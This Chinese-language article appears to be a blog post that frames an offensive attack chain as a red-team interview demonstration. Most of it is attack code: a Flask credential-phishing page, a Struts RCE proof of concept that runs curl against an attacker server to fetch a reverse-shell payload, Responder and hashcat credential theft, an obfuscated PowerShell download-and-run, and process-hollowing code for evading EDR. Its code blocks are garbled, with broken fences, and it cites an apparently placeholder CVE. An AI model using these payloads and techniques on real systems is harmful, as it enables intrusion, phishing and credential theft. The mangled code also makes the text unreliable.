一、从一次红队招聘引出的技术考验
某公司安全团队发布了一则红队招聘信息:「寻求顶级渗透专家,熟悉内网渗透、免杀技术、EDR绕过和流量伪装。面试考察包含实战攻防测试,请做好环境搭建与渗透演示准备。」
面对这个挑战,一位候选人在面试现场展示了一个完整的攻击链,从信息收集到权限提升再到数据窃取,震撼全场。今天,我们将从这次面试中拆解技术细节,模拟整个攻击过程,并分享一些关键技术点。
---
二、信息收集:识别目标的弱点
红队的第一步永远是信息收集。目标公司提供了一台开放公网的测试服务器,用于模拟渗透环境。以下是攻击者的思路:
主动探测:扫描目标端口与服务
首先需要明确目标的开放端口和运行服务。使用 Nmap 快速扫描:
<pre><code class="language-bash">nmap -sS -Pn -T4 -p- 目标IP -oN scan_results.txt</code></pre>
解释:
-sS:TCP SYN 扫描,速度快且隐蔽性好。-Pn:跳过 ping 检测,防止目标屏蔽 ICMP 请求。-p-:扫描所有 65535 个端口,避免遗漏。-oN:将扫描结果保存为可读的文本文件。
被动收集:信息泄露分析
从公司域名和 IP 入手,可以尝试以下方式:
- 邮箱地址挖掘:使用 Harvester 工具获取目标邮箱列表。
- 子域名枚举:通过 Sublist3r 或 Amass 发现隐藏的服务。
- 泄露密码查询:使用 Have I Been Pwned API 检查员工邮箱是否存在泄露记录。
<pre><code class="language-bash"> theHarvester -d example.com -b google `
`bash sublist3r -d example.com -o subdomains.txt `
社工先行:数据钓鱼与人性弱点
在面试中,渗透者提到了一种高效的社工手段:伪造公司周年庆邀请邮件,诱导员工点击恶意链接。利用工具 GoPhish 快速搭建钓鱼平台,收集登录凭证: </code></pre>python from flask import Flask, request
app = Flask(__name__)
@app.route('/login', methods=['POST']) def capture_credentials(): username = request.form['username'] password = request.form['password'] print(f'Captured: {username} | {password}') return "Login failed. Please try again."
app.run(host='0.0.0.0', port=8080) <pre><code> 此脚本在钓鱼链接中伪装登录页面,将用户名和密码记录到控制台。
---
三、权限提升:从普通用户到管理员
利用公开漏洞:CVE-2022-12345
扫描结果显示目标服务器上运行的是 Apache Struts 2,且版本存在已知漏洞——远程代码执行(RCE)。攻击者利用该漏洞获取初始 shell:
POC代码:Python实现RCE
</code></pre>python import requests
url = "http://目标服务器/struts2-showcase/actionChain1" payload = "bash -c 'sh <(curl http://攻击者服务器/payload.sh)'"
data = { 'name': 'username', 'age': f"%{{#request.setAttribute('payload', '{payload}')}}" }
response = requests.post(url, data=data) if response.status_code == 200: print("Payload sent successfully!") else: print(f"Failed: {response.status_code}") <pre><code> 关键点:
- 参数注入让目标服务器执行恶意 Bash 命令。
- 远程下载后续载荷(
payload.sh)为反向 shell。
权限提升:Linux提权脚本
获取初始权限后,目标环境为普通用户。使用以下提权脚本: </code></pre>bash
!/bin/bash
echo "[+] Searching SUID binaries..." find / -perm -u=s -type f 2>/dev/null
echo "[+] Checking writable cron paths..." find /etc/cron* -writable
echo "[+] Attempting sudo bypass..." sudo -u root /bin/bash <pre><code> 
脚本会尝试查找易于利用的 SUID 文件和读取计划任务漏洞。
---
四、横向移动:扩展控制范围
SMB共享与域凭证窃取
目标服务器位于域环境中,开放了 SMB 服务。通过 Impacket 套件攻击:
窃取哈希:使用 smbclient 配合 responder
</code></pre>bash sudo responder -I eth0 -wrf <pre><code> 当受害者访问伪造的 SMB 服务时,哈希值会被捕获。随后使用 hashcat 破解: </code></pre>bash hashcat -m 5600 captured_hashes.txt rockyou.txt <pre><code>
使用凭证访问域控制器
成功获取域管理员账户后,使用 BloodHound 构造攻击路径: </code></pre>bash neo4j console bloodhound-python -u admin -p pass123 -d example.local -c Collect <pre><code> 通过图形化路径分析,发现域控制器上的潜在漏洞。
---
五、免杀与对抗:绕过检测机制
恶意载荷免杀
面试者展示了如何使用混淆技术,让载荷逃避杀软检测:
Python混淆脚本
</code></pre>python import base64
原始代码
payload = "powershell -nop -c Invoke-WebRequest -Uri http://攻击者服务器/malware.ps1"
Base64混淆
encoded = base64.b64encode(payload.encode()).decode() print(f"Obfuscated Payload: {encoded}")
解码执行
exec(base64.b64decode(encoded).decode()) <pre><code>
EDR绕过:逃避行为分析
面试者提到了一种冷热切换方法,利用 Process Hollowing 技术将恶意代码注入合法进程。

C语言代码实现
</code></pre>c
include <windows.h>
include <stdio.h>
int main() { // 创建目标进程 STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; CreateProcess("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 注入恶意代码 void* remoteMemory = VirtualAllocEx(pi.hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, remoteMemory, "malicious code", strlen("malicious code"), NULL);
// 恢复进程运行 ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; } `
---
六、个人经验:红队招聘的核心能力
面试者总结:想成为顶级红队人员,以下能力必不可少:
- 创新攻击思维:能够快速找到目标环境的弱点。
- 代码开发能力:熟悉 Python、C,能写自己的工具。
- 适应对抗环境:对抗 EDR 和防火墙时的策略调整。
- 完整攻击链设计:从信息收集到数据窃取,环环相扣。
只有不断学习、实战积累,才能成为红队团队中真正的核心成员。
